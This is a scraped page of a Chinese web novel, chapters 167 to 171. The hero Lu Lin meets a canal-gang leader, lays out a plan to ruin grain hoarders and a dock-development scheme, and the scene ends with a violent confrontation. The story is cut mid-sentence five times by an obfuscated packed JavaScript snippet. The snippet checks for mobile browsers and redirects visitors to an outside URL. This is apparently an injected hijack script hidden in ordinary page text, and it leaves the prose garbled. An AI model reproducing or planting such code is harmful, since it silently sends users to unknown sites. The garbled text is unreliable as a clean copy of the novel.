陆恒长出一口气,苦笑着上前一步:“琢之,你到底是怎么打算的?刚才那番话,是故意说给那个内奸听的吧?” 黄观也跟着开口,脸上满是忧虑:“可你这么做,也太冒险了。你把和胡一刀见面的时间地点都说了出去,四大米行的人知道了,今晚的聚丰楼,岂不成了龙潭虎穴?” 他们都猜到了卢璘的用意。 故意放出假消息,通过内奸的嘴,传到四大米行的耳朵里。 三十万石官粮将至,漕帮二当家倒戈。 这两条消息,如果是真的。 任何一条都足以让四大米行军心大乱,甚至不惜血本抛售存粮,以求自保。 第167章 卢璘赴宴 这两条消息,如果是真的。 任何一条都足以让四大米行军心大乱,甚至不惜血本抛售存粮,以求自保。 可问题是,这两条消息都是假的啊! 不仅起不到效果,反而会将卢璘自己,置于极度危险的境地。 四大米行是什么善男信女? 几百万两银子的盘子,什么事都做不出来? 张胜听到这里,总算反应了过来,急得一拍大腿:“对啊!琢之!这不是把自己往火坑里推吗?他们肯定会派人去聚丰楼堵你啊!” 卢璘看着三人紧张的模样,淡然一笑。 反问道:“你们是担心,四大米行会破坏我和胡一刀的见面?” 陆恒和黄观不约而同地点了点头,这正是他们最担心的地方。 卢璘脸上的笑意却更浓了。 “我还怕这火烧得不够旺呢。” “有人主动过来添一把柴,难道不是好事吗?” 此言一出,三人全都愣住了。 好事? 这算哪门子的好事? 看着卢璘胸有成竹的样子,陆恒和黄观虽然还是想不通其中的关窍,但心里却莫名地安定了下来。 事到如今,只能选择相信琢之了。 张胜还想再问,却被黄观用胳膊肘捅了一下,只能把满肚子的话又咽了回去。 陆恒知道卢璘必有自己的计较,没有再追问下去。 话锋一转,又提供了一个刚得到的消息。 “琢之,还有个事,我今天才知道。” “永盛和东家齐老拐的儿子正准备与我陆家本宗结亲。” 陆恒这一房,只是陆家的分支。 陆家本宗,才是临安府本地真正的豪强之一。 当年陆恒的祖父分家出来,靠着本宗的名号,在临安府的布庄生意里站稳了脚跟,打拼下如今这份基业。 这些年,分支与本宗虽然偶有往来,但关系早已不复当年亲密。 卢璘听完皱眉,同时也有些意外: “你陆家本宗,也参与到这次的操控粮价中了?” 这可不是个好消息。 如果连陆家这样的本地大族都牵扯其中,那四大米行背后的水,比他预想的还要深得多。 陆恒摇了摇头,脸上带着几分不确定。 “分支和本宗分家已久,平日里走动不多。本宗有没有参与其中,我也不清楚。 “不过,齐家选择在这个时候与本宗联姻,恐怕不只是巧合那么简单。 卢璘在院中缓缓踱步,脑中飞速盘算。 齐老拐,四大米行东家之一,背后代表的是临安府士绅阶层群体。 陆家本宗又是临安府的地头蛇,根基深厚。 两家这个时候宣布联姻,这是在释放什么信号? 片刻之后,卢璘停下脚步,看向陆恒。 “朗行,你看看有没有机会,让我和齐老拐见一面。 陆恒精神一振,没有丝毫犹豫,立刻点头。 “好! “我这就去安排! …… 夜色渐浓,华灯初上。 聚丰楼,作为临安府数一数二的酒楼,这里永远不缺达官贵人,富商巨贾。 但这个点本该宾朋满座、客似云来的聚丰楼,大堂里却没有半个客人。 跑堂的小厮却都忙个不停。 不过即便再忙,小厮们脚步声都不敢太大,一个个小心翼翼的,生怕打扰了贵人。 伙计阿福端着托盘一路往三楼雅间走,刚踏上三楼就看到天字号雅间外,二十名人高马大,身材彪悍的漕帮刀手雁翅般排开,挤满了整个走廊。 刀手们清一色黑衣劲装,腰间悬刀,一个个面容冷硬,就像二十尊铁铸人似的。 阿福见此情形,更是大气都不敢喘,腿肚子直哆嗦。 最前头的漕帮刀手见阿福上来,眼皮都不抬,伸出两根手指在空中一划,示意止步。 “回、回各位爷,这是天字房客人点的菜“阿福咽了口唾沫,颤声说着。 刀手眉头一皱,旁边立刻有个年轻人走过来掀开盖子验毒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453217|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银针在每道菜里细细探过,又掰开鱼鳃看了看,这才微微点头。 “送进去,低着头走,不许乱看。“刀手声音沙哑。 阿福得了指示,才敢推开天字号雅间的门。 门内,胡一刀独自一人临窗而坐。 桌上的美酒佳肴没有任何动过的痕迹。 胡一刀在等, 很耐心地等。 光是名动京都,为大夏读书人扬眉吐气这事就值得胡一刀这份耐心。 “我也曾是士林中的一员啊” 更重要的是,胡一刀想知道卢璘信里写的那些,到底如何实现。 脱去漕籍,入籍良民。 改组漕帮,官商一体。 每年五十万两白银的净利。 思索之际,雅间的门,被人从外面推开。 胡一刀转头望去,只见两名年轻人不紧不慢地走了进来。 为首的那一位,身穿一袭青色长衫,头戴黑色方巾,面容俊秀,气质温润,脸上带着和煦的笑意。 “卢琢之,见过胡二当家。”卢璘一拱手,率先自报家门。 胡一刀也站起身,对着卢璘拱了拱手,算是打了招呼。 “卢案首,久仰大名。” “坐!” 两人相对而坐,陆恒则安静地站到了卢璘的身后。 没有陆恒想象中剑拔**张的气氛,也没有唇枪舌剑的试探。 卢璘和胡一刀反倒像老友重逢,气氛平和得有些安静。 胡一刀亲自为卢璘斟满一杯酒,抬眼打量着眼前名动京都的案首,忽而一笑: “卢案首果然名不虚传,少年俊才,温润如玉……怪不得能得到圣上的亲口称赞。” 卢璘含笑点头,大大方方地接下了胡一刀的夸赞,随后感叹道: “二当家才让我意外啊,” 胡一刀哦了一句,身子微微前倾,就听到卢璘继续说道: “难怪能执掌半壁水道,今日见了二当家,才知道什么叫文能执笔订漕规,武能横刀镇运河.” 第168章 漕帮地产公司! 胡一刀的夸赞,卢璘听在耳中,只是淡淡一笑。 这种看似恭维,实则掂量的场面,与前世商业谈判桌上的软性博弈,并无本质区别。 卢璘当然不会**一刀迷惑,以同样的方式还了回去。 寥寥几句,胡一刀便察觉出,卢璘身上没有半分少年得志的浮躁,沉稳得不像个年轻人。 这份沉稳,反倒让胡一刀对信中所写,隐隐多了一丝期待。 试探过后,胡一刀也不准备再绕圈子。 他身子微微前倾,刚才斯文气瞬间被一股江湖人的锐利取代,脸上笑意全无,目光灼灼地看着卢璘: “卢案首的来信,胡某反复看了三遍。” “脱漕籍、改官商、年入五十万两。” 说到这里,胡一刀顿了顿,脸色瞬间沉了下来: “江湖人最忌讳两件事,一是画饼充饥,二是拿我们当刀使。” “如果卢案首打的是后一种主意,我漕帮这几万张吃饭的嘴,可不会答应。” 说完,若有若无地瞥了一眼雅间门外。 胡一刀的意思很直接,卢璘也听明白了。 今天要是说不出个子丑寅卯,自己怕是没那么容易走出这聚丰楼。 可卢璘既然敢来,自然是有十足的底气。 无视胡一刀隐含威胁的眼神,卢璘轻笑一声,不答反问: “二当家可知,朝廷去年光是拨给江南道的漕运修堤银,便有八十万两?” “可真正落到河工实处的,又有多少?” “据我所知,不足三十万两。” 此言一出,胡一刀心头狂跳,有些发懵。 这个数字,精确到万两的数字! 卢璘怎么会知道? 漕运贪墨,他身在其中,自然清楚。 可就连他也只知道一个大概的范围,根本做不到像卢璘这般,将账目说得如此清晰。 光凭一个致仕的礼部尚书沈春芳,就能有这么大的能量? 连户部的机密账目都能搞到手? 还是说,这根本就是卢璘自己推算出来的? 卢璘说完,好整以暇地给自己倒了杯茶,又抬手给胡一刀添了一杯,脸上满是轻松写意。 可此刻的胡一刀,确 实满脸沉重,哪里还有半分喝茶的心思,脸色纠结不定。 一旁的陆恒完全摸不着头脑,自己明明就站在现场。 琢之说的每一个字他都听得懂,可连在一起,却完全不明白是什么意思。 为什么琢之简简单单的一句话,就能让胡二当家,脸色变得如此难看? 卢璘则对胡一刀的反应,没有半分意外。 看似简单的一句话,实则藏着三重意思。 其一,是敲打与警告。 漕帮的生存逻辑,就是建立在朝廷的**之上。 卢璘直接点破这层窗户纸,就是在告诉胡一刀,你们漕帮那点见不得光的勾当,我一清二楚。 你们不过是分食残羹的小角色,是随时可能被抛弃的棋子。 其二,是埋下合作的钩子。 八十万两的预算,三十万两的实支,中间那五十万两的差额去了哪里? 这恰好就对应了信中“每年五十万两净利”的承诺。 意思很明白,这笔钱,与其让那些脑满肠肥的官员吞了,不如我们合作,一起把它赚了。 其三,便是最简单粗暴的,秀肌肉。 我知道你们不知道的,我能拿到你们拿不到的账本。 我上面有人,有随时掀翻桌子的能力。 胡一刀正是听懂了这三重意思,所以才会如此纠结。 卢璘喝完一杯茶,见火候差不多了,决定再添一把火。 放下茶杯,进一步逼迫: “若漕帮继续给他们当这把脏刀,背这个黑锅。等到明年朝廷彻查亏空,需要几颗人头来顶罪时……” “二当家猜一猜,户部那本见不得光的账,会先指向谁?” 胡一刀闻言终于有反应了,冷笑一声:“你这是在威胁我?” 卢璘却慢悠悠地摇了摇头。 伸出修长的手指,沾了沾杯中剩下的茶水,在桌面上,画出了四个数字。 “35,25,30,10。” “不,我是在给二当家一条活路。” “这是我为漕帮设计的,新的股权结构。” 股权? 胡一刀听不懂这个新词,但听到那个股字,也大概能猜到是分成的意思。 只 是这四个数字又代表着什么? 卢璘笑了笑开始了路演。 先是指着第一个数字“35”开口解释: “漕粮运输占三成五。官府的常平仓各地的赈灾粮这些漕运业务都可以由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453218|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们来做。” 然后又指向“25”: “官盐承包占两成五。江南道的盐税向来是国库重地。改制后新漕帮将获得官盐的水路专营权利润占两成五。” 最后是“30”和“10”。 “运河码头地产占三成。船税抽成占一成。” “这就是我为二当家设计的漕帮未来的利润来源。” 听到这里胡一刀的呼吸已经开始变粗了。 官粮!官盐!船税! 胡一刀怎么可能不知道其中的利润有多大。 可那个运河码头地产又是什么东西? 还有这些又该如何实现? 虽然心中还有无数疑问但胡一刀此刻已经可以确定。 眼前的卢璘绝不是在无的放矢。 他是真的有东西! 一瞬间胡一刀的眼神彻底变了之前所有的戒备、怀疑、狠厉统统化作了热切。 卢璘对胡一刀的反应毫不意外。 画饼造梦宣讲PPT这可是前世的贾老师的拿手好戏。 一旁的陆恒听得云里雾里。 他家里就是经营布庄的从小耳濡目染自问对生意经不说精通也算略知一二。 可卢璘口中冒出的这些词 股权?地产? 这些词拆开来每个字他都认得合在一起却完全不明白是什么意思。 就如此前卢璘所说的什么四大米行做空高位抛售打破空头预期之类的他也都是一知半解。 琢之的脑子里到底装了多少闻所未闻的东西? 卢璘当然不是在给胡一刀画饼。 这些天在半亩园他除了统筹平抑粮价的各项事宜剩下的时间几乎都在研究大夏朝的各种卷宗和数据。 平抑粮价是一方面借此机会壮大自强社锻炼出一支核心队伍是另一方面。 卢璘也需要为自己的将来提前绸缪。 漕帮就是一个很合适的实验对象。 港口码头古往今来都是能下金蛋的鸡。 将其握在手里就等于掌握了一条源源不断的财路。 以大夏如今的商业发展水平沿河的码头、仓库、以及周边地皮完全可以由一个强有力的组织进行统一收购、开发、租赁。 一句话成立漕帮地产公司! 这些构想都是他结合临安府的舆图与自强社搜集来的各类数据反复推演得出的结论绝非脑袋一拍随口胡说。 第169章 这是财神爷下凡啊! 胡一刀终究是没能压住心里的灼热,身子又向前倾了半分,急切地追问:“卢案首,这运河码头地产,究竟是何意?” 此时的胡一刀哪有半点漕帮二当家的姿态,在卢璘面前,完全是一副小学生的样子。 卢璘笑了笑,耐心解释: “地产二字,顾名思义,便是以地皮为核心,开发出一系列可以持续获利的产业。” “就拿这运河码头来说,沿河的滩涂、仓库以及周边地皮,都可以由新组建的漕运商行,统一进行规划。” 见胡一刀还是一脸困惑,卢璘将具体的操作掰开了揉碎了讲。 伸出手指,在桌上沾了些茶水,画出一个简易的河道图。 “第一步,土地确权。” “我们可以用‘疏浚河道,加固堤防’的名义,向官府承包下沿河的大片滩涂。这些地方本就是无人问津的烂泥地,官府乐得有人出钱出力整治,我们花极小的代价,就能拿到地契。” “第二步,基建套利。” “每年朝廷下拨的‘修堤银’,与其让各级官吏层层盘剥,不如我们主动承揽下来。用这笔钱,将烂泥滩涂,修建成坚固的石砌码头。” 卢璘说到这里,顿了顿,给胡一刀留出消化的时间。 “码头建成,便可分层招商。最底层,租给码头上的脚夫力工,让他们有个遮风避雨的落脚地,按日收租。中层,修建仓库商栈,租给南来北往的商行,按月收租。顶层,可以开设银铺、酒楼,甚至青楼,按年收租。” 胡一刀眼睛越听越亮,整个人都快靠上来了,一旁的陆恒更是竖起了耳朵,生怕漏了哪个字。 卢璘的手指,又在地图上轻轻一点:“我举个例子。” “若将聚丰楼向北三里那片滩涂,筑成三丈石台,分设粮仓区、盐库区、商栈区,每一区,每日光是收上来的‘地租银’,会是多少?” 轰! 听到这里,胡一刀只觉得脑子里有什么东西炸开了。 原来生意还能这么做! 原来这就是地产! 以地皮为核心,开发出一系列配套产业! 这哪里是做漕运生意,这分明是在河道上,再造一座金山! 他不是没想过利用码头赚钱,可思路 无非是垄断力工强收保护费手段粗暴利润也有限。 卢璘这番话直接为他打开了一扇全新的大门。 一旁的陆恒也惊得合不拢嘴。 他家里做布庄最懂商铺租金的门道。 一个好地段的铺面一年租金何其昂贵。 琢之这计划等于是把整个临安府沿河的黄金地段全部圈进了自己口袋里然后分割成无数个小铺面再租出去! 这等经商天赋简直匪夷所思! 胡一刀越是细品越觉得这方案不仅可行而且一旦实现其利润将是天文数字! 甚至已经能想象出一座座崭新的石砌码头拔地而起商船林立人声鼎沸银子如流水般涌入漕帮账房的场景。 卢璘对两人的反应没有半分意外。 这是一套在前世被验证过无数次完全可以复制的运河商业开发计划书。 放到这个时代简直是降维打击。 甚至他还有一个更厉害的**锏没有抛出来。 港口码头若是没有金融业务的加持怎么能叫码头呢? 不过现在火候未到还没有到抛出这个重磅**的时候。 胡一刀强行压下心头的激动消化了许久后才提出了关键疑问。 “官府……岂会容许我们如此霸占河道?” 卢璘早已准备好预案: “家师在工部尚有几位故旧门生。届时可以向朝廷递交一份‘试验新式堤防’的文书。我们不叫码头叫‘官民合筑防洪码头’。” “码头建成后三成净利暗中划给沿途的钞关太监。他们得了好处自然会帮我们挡住所有来自官面上的麻烦。” “至于漕帮的兄弟们也不必再去做那些拉纤玩命的苦差事。可以在码头上当‘巡岸’管管治安收收租子。活计比以前轻松月钱反而多了他们何乐而不为?” **背书。 利益捆绑。 漕工转岗。 卢璘的应对滴水不漏 ‘官民合筑防洪码头’ ‘巡岸’ 至此胡一刀心中最后一丝疑虑也烟消云散。 彻底相信,眼前的卢璘是真的有办法,将信中所写的一切,变为现实。 绝非虚言! 胡一刀长长吐出一口气,从虎皮椅上站起身,对着卢璘,郑重其事地深深一揖。 “外界传言,卢案首文曲星下凡,我看未必 接着话锋一转,以一副无比确信的口吻感叹道: “这哪是文曲星下凡,简直是财神爷下凡啊 胡一刀这一揖,拜得郑重,拜得心甘情愿。 卢璘却快步上前,双手稳稳托住了胡一刀的手臂,没让他真的拜下去。 “二当家,使不得。 卢璘将胡一刀扶正,接着笑道: “这生意就算筹划得再精妙,落在纸上,终究只是空谈。 “真要落地,临安府上百道水口码头,数以千计的纤夫、水手、管事,哪一个不需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453219|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要**舵亲自坐镇调度? “码头建得再好,若无漕帮兄弟震慑宵小,谁敢放心做生意?规矩定得再清,若无二当家一言九鼎,何人来尊? “说到底,能否将这纸上的富贵,变成实实在在的银子,关键不在我,而在二当家你啊。 花花轿子人人抬。 胡一刀在江湖里摸爬滚打了半辈子,这点人情世故哪里会不懂。 他知道卢璘这是在刻意抬举自己。 可偏偏,这番话,说到了胡一刀的心坎里。 “这江南水道,河网密布,漕帮上下,数万兄弟,成分复杂。能将这一盘散沙牢牢拧成一股绳,还能让官府既要倚仗又要提防的,放眼整个大夏,除了二当家,琢之再也想不出第二个人。 这些年,胡一刀为了管理漕帮,呕心沥血。 外人只看得到他胡一刀的狠辣,看得到他身为漕帮二当家的风光。 谁又知道,他为了平衡各方势力,为了让数万兄弟有饭吃,耗费了多少心神。 这些他引以为傲的手段和能力,在世人眼中,不过是上不得台面的黑道伎俩。 可今天,在卢璘的口中,这些都成了独一无二的本事,成了运筹帷幄的才能! 尤其是这份认可,出自名动天下的卢案首之口,更让胡一刀心头滚烫。 胡一刀深吸口气,压下心中的激荡,脸上 第一次露出了真正坦诚的表情。 “卢案首,你我都是聪明人,那些场面话,就不用再说了。” “你为我胡斐,为漕帮数万兄弟,画了这么一条通天大道。现在,该你说了。” “需要我漕帮怎么做?” 来了! 陆恒的心跳骤然加速。 这才是今晚这场会面的真正核心。 前面所有的铺垫,就是为了此刻。 卢璘没有立刻回答。 他坐回原位,慢条斯理地提起茶壶,又为胡一刀面前的空杯,斟满了茶水。 放下茶壶后,卢璘抬起头,脸上带着一贯的从容笑意。 “我要的,很简单。” “粮食。” “我要四大米行的粮食,一粒也运不出去” 陆恒懵了。 怎么也没想到卢璘会提出这个要求。 不让四大米行的粮食运出去,这是什么道理? 胡一刀懵了,他设想过无数种可能。 想过卢璘让漕帮配合,放粮进城,可怎么也没想到,卢璘让自己封锁临安府城,不让四大米行粮食卖出去? 胡一刀想破了脑袋也没想通,卢璘此举的深意。 第170章 卢璘的真实目的 胡一刀想不明白。 陆恒也想不明白。 一个要平抑粮价,一个要囤积居奇。 双方势同水火。 卢璘不让漕帮放粮进城,反而要截断四大米行运粮出去的通道,这岂不是在帮四大米行锁死他们的利润? 这到底是什么道理? 卢璘看着两人满脸的困惑,只是轻轻一笑: “二当家,四大米行如今最怕的是什么?” 胡一刀没有立刻回答,脑中飞速思索。 最怕的? 自然是粮价崩盘。 可如今临安府的粮食都攥在他们手里,官府又封了米贴,他们控制着绝对的定价权,粮价怎么可能崩? 除非 胡一刀猛地抬头,想到了卢璘信中那句“三十万石常平仓米粮”。 “他们怕你的三十万石粮食入城。” “没错。” 卢璘放下茶杯,又问:“那如果,这时候他们发现,漕帮弃暗投明了,你会怎么做?” 胡一刀几乎是脱口而出:“立刻抛售手里的存粮!能卖多少卖多少。” 说完,胡一刀自己就愣住了。 他好像.有点明白了。 卢璘脸上笑意不减,继续引导着他的思路。 “没错,正是止损离场!” “可如果这时候,我让二当家你,铁索横江,封锁住所有水路,他们的粮食一粒都运不出去呢?” “他们只能在临安府这一个地方卖。” “一个即将有三十万石平价粮涌入的地方。” 两人脑中轰然作响,所有的疑惑迎刃而解。 恐慌! 极致的恐慌! 当三十万石官粮即将入城的消息,和漕帮倒戈的消息,同时传到四大米行的耳朵里。 他们唯一的念头,就是在官粮入城,粮价雪崩之前,不计一切代价地抛售手里的存粮。 可漕帮封锁了水路,他们的粮食根本运不到外地去卖高价。 唯一的销售渠道,只有临安府本地。 一个即将被天量平价粮冲垮的市场! 到时候,会是怎样一副光景? 四大米行为了抢先出货,会疯狂地降价,甚至会互相倾轧,把价格 踩到泥里。 “我明白了. 这简直是魔鬼般的算计! “他们喜欢囤积,我就让他们囤个够。 卢璘站起身,走到窗边,看着楼下川流不息的江水,而后转头笑吟吟的看向两人: “我要把临安府,变成一座只进不出的粮食监狱。 “我要让他们抱着金山银山,眼睁睁看着手里的粮食,一天比一天不值钱,最后烂在仓库里。 “直到他们跪下来,求着我,把那些粮食买走。 这番话,配上卢璘云淡风轻的笑脸,却让胡一刀感到了一股寒意。 他自问手段狠辣,可跟卢璘比起来,自己那些江湖伎俩,简直如同小孩子过家家。 **诛心! 这才是真正的**诛心! 然而,这还不是卢璘计划的全部。 这只是第一层。 更深层的目的,他没有说出口。 平抑粮价,只是顺手为之。 他真正的目标,是四大米行那鼓鼓囊囊的钱袋子。 做空加抄底。 先是释放重大利空消息,制造市场恐慌,诱发踩踏式抛售,这是做空。 等到价格崩盘,市场上一片哀嚎,所有人都认为这些粮食已经一文不值的时候,他再悄然入场,用最低的成本,将四大米行手里所有的粮食,全部吃下。 这是抄底。 一买一卖之间,产生的巨额利润,从哪里来? 从四大米行的骨头里榨出来。 这笔钱,将是新漕运商行启动的第一笔资金。 是“官民合筑防洪码头的第一块砖。 是自强社未来安身立命,真正崛起的本钱。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453220|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >卢璘没钱,自强社也没钱。 但这不重要。 四大米行会心甘情愿的,把钱送到他的手上。 胡一刀长长地吐出一口气,胸中的震撼久久无法平息。 看着窗边卢璘的背影,忽然觉得,自己过去几十年,都活到狗身上去了。 这才是做大事的样子! 这才是真正的翻云覆雨! “卢案首 胡一刀的站起 身端起桌上的酒杯一饮而尽。 烈酒入喉烧得他胸口滚烫正如胡一刀望向卢璘的眼神一般炽热: “我胡斐这辈子杀过的人比你见过的都多。” “今天才明白这世上最锋利的刀不是握在手里的是藏在脑子里的。” 说着胡一刀恭恭敬敬地为卢璘斟满一杯酒双手奉上。 “你这条路我胡斐走了!” “从今往后临安府水道任凭卢案首调遣!我漕帮上下数万兄弟若有二话提我胡一刀的脑袋去见你!” 卢璘转过身接过酒杯却没有喝。 眼含笑意的看着胡一刀脸上依旧是那副云淡风轻的模样。 “二当家言重了我们是合作。” “互利共赢。” 正当胡一刀准备碰杯之际砰!的一声巨响从门外传来。 紧接着雅间的门被人从外面一脚踹开。 一个满脸横肉衣着华贵的秃头男子带着十几名手持棍棒的打手气势汹汹地闯了进来。 来人正是德昌隆的东家常万金! 他身后的打手迅速散开将整个雅间围得水泄不通。 走廊上漕帮的刀手们瞬间拔刀与打手们对峙起来 常万金却看都没看那些漕帮刀手一眼一双小眼睛死死地盯着胡一刀脸上的肥肉颤抖。 “胡一刀!你好大的狗胆!” “我们四大米行好吃好喝地供着你每年几十万两银子孝敬着你就是这么回报我们的?” “转头就去舔一个穷秀才的屁股?” 第171章 枭雄本色 常万金话音刚落,雅间门口又传来一声轻佻的嗤笑。 紧接着,周炳慢悠悠地踱了进来,身后同样跟着十几个精壮的家丁。 周炳倒不像常万金那般怒发冲冠,脸上甚至还挂着笑,只是那笑意不达眼底,透着一股子阴冷。 “胡二当家,好大的胃口。” 周炳环视一圈,最后将视线定格在胡一刀身上,阴阳怪气地开口:“我们这边拿真金白银喂着,你那边就跟卢案首谈起了风花雪月?这买卖做得,未免也太精明了些。” 说完,视线在卢璘身上不屑的扫过,没做半点停留。 周炳心里清楚得很。 胡一刀这种人,无利不起早。 他压根不信胡一刀会为了一个穷秀才背叛他们。 这几百万两银子的生意,岂是说翻脸就翻脸的? 这番作态,无非是觉得之前给的银子不够,想坐地起价,敲他们一笔罢了。 卢璘不过棋子而已。 虽然心里也骂胡一刀贪得无厌,但周炳却不敢像常万金那样直接撕破脸。 常万金背后是手握兵权的临安府都指挥使,是武夫,是刀。 他周炳的姐夫是知府,是官,是笔。 在这临安府,还真得怵漕帮三分。 常万金闻言冷哼一声,眼中嚣张气焰更盛。 骂完胡一刀后,仍觉得不解气,一双小眼睛转向了从始至终都稳坐泰山的卢璘,往地上啐了一口浓痰: “还有你这个不知死活的秀才!” “什么狗屁江南案首,名头吹得震天响,说破了天,不还是个连官身都没有的白丁!” “读了几年圣贤书,把脑子读傻了吧?真以为自己是救苦救难的菩萨了?” “睁开你的狗眼看看,这是什么地方!这是几百万两银子的买卖!你一个细皮嫩肉的小白脸,也敢伸手进来?就不怕被人剁了手脚沉江喂鱼?” 常万金知道卢璘是什么人,也知道对方是名动京都的卢案首。 可案首又如何?圣上亲口称赞又如何? 在这能把亲爹亲娘都拿来卖的几百万两银子面前,这些虚名,连个屁都算不上。 状元来了都不好使,一个小小的秀才案首? 周炳闻言, 也上前一步脸上的笑容愈发阴冷。 “卢案首听我一句劝。” 他慢条斯理地整理了一下自己的袖口开口就是一种长辈教训晚辈的口吻: “读书人就该有个读书人的样子管好自己那一摊子事就行了。这临安府的水深得很不是你该趟的。” “什么时候金榜题名穿上官袍了再来跟我们谈分一杯羹的事吧。至于现在嘛” 周炳轻笑一声话里的轻蔑毫不掩饰。 “你还不够格。” 周炳也知道卢璘有些背景无非是仗着自己有个前礼部尚书恩师沈春芳。 可一个致仕了礼部尚书人走茶凉还能有多大的能量? 手居然敢伸这么长也想来分一杯羹? 想得太美。 光凭卢璘自己一个秀才名头可不够秀才想要爬到自己姐夫这个位置至少还得再熬个十几年。 雅间内的气氛压抑到了极点。 陆恒站在卢璘身后额上早已青筋暴起转头望向卢璘却见卢璘一脸平淡嘴角甚至挂着淡淡笑意。 “琢之不会是吓傻了吧?”陆恒心里难免担忧担心卢璘没见过这等场面被吓坏了。 陆恒一颗心提到了嗓子眼下意识地又望向胡一刀。 被当着面如此羞辱以这位二当家的性子怕是要当场拔刀。 可出乎陆恒意料胡一刀非但没有动怒反而忽然笑出了声。 胡一刀站起身慢悠悠地迈步走到常万金面前脸上挂着笑意。 “常东家这是哪来这么大的火气?” “我与卢案首一见如故敬仰他的才华在此探讨诗词歌赋风花雪月难道不行吗?” “我胡一刀虽然落榜好歹曾经也是个读书人.” 说完胡一刀转头看向周炳 “周少我胡一刀在这临安府不会连这点交朋友的自由都没有吧?” 周炳扯了扯嘴角皮笑肉不笑。 常万金更是嗤之以鼻。 探讨诗词? 自强社那边传来的消息说得清清楚楚是胡一刀主动相邀准备和卢璘合作放粮进城! 再说了整个临安府谁不知道他胡 一刀最是厌恶读书人那种刻在骨子里的恨意怎么可能说变就变! 装!还在装! 常万金刚想开口可话到嘴边 只见胡一刀缓缓转过头刚才脸上那副斯文和煦的模样荡然无存眼中只剩下冰冷杀意。 “还是说你们真当我胡一刀是你们养的一条狗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453221|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “常万金没有陈汉升就凭你这脑满肠肥的草包也敢站在这里跟我说话?” “老子给你脸了是吧?” 话音未落! 胡一刀大嘴一咧左手猛地探出快如闪电一把扣住了常万金的衣领! 竟单手将常万金肥硕的身躯直接提了起来狠狠掼在了身后的墙壁上! “轰!”一声巨响! 力道之大坚实的墙壁当场裂开一道蛛网般的缝隙! 常万金那颗肥大的脑袋更是与墙壁亲密接触鲜血瞬间顺着额角流了下来口中发出杀猪般的哀嚎。 “啊!” 这突如其来的一幕让所有人都懵了。 常万金带来的那些打手反应过来齐刷刷拔出腰刀怒喝道:“放了我们东家!” 周炳更是吓得连退几步生怕胡一刀的怒火波及到自己。 而后强自镇定急声劝道:“胡二当家!不要意气用事!陈大人可就这么一个亲侄子啊.” “只要你今天放了常东家我们可以当做什么都没发生过!” 周炳看了一眼已经进气多出气少满脸是血的常万金心里叫苦不迭。 这次真不该来! 常万金这个蠢货要是真死在这里都指挥使怪罪下来自己也得跟着背锅! 胡一刀却充耳不闻脸色愈加阴沉冷笑一声后抓着常万金的手更加用力。 砰!砰! 又是两下毫不留情地往墙上猛砸! 常万金脑袋上的血溅在脸上胡一刀却浑然不顾。 一张原本斯文的脸配上这飞溅的鲜血显得格外狰狞。 “要不是背后还有几万漕帮兄弟要吃饭你以为陈汉升能吓得到我?” “要不要看看是他陈家先**……还是我胡一刀先死?” 胡一刀是真的恨不得当场宰了常万金这个蠢货! 江湖人最恨什么? 不是得罪人是当着新盟友的面被人指着鼻子骂! 卢璘刚刚才给了自己一条通天大道才说了运河码头非自己不可。 结果下一刻自己就被这两条米虫指着头骂叛徒? 这**已经不是打脸了! 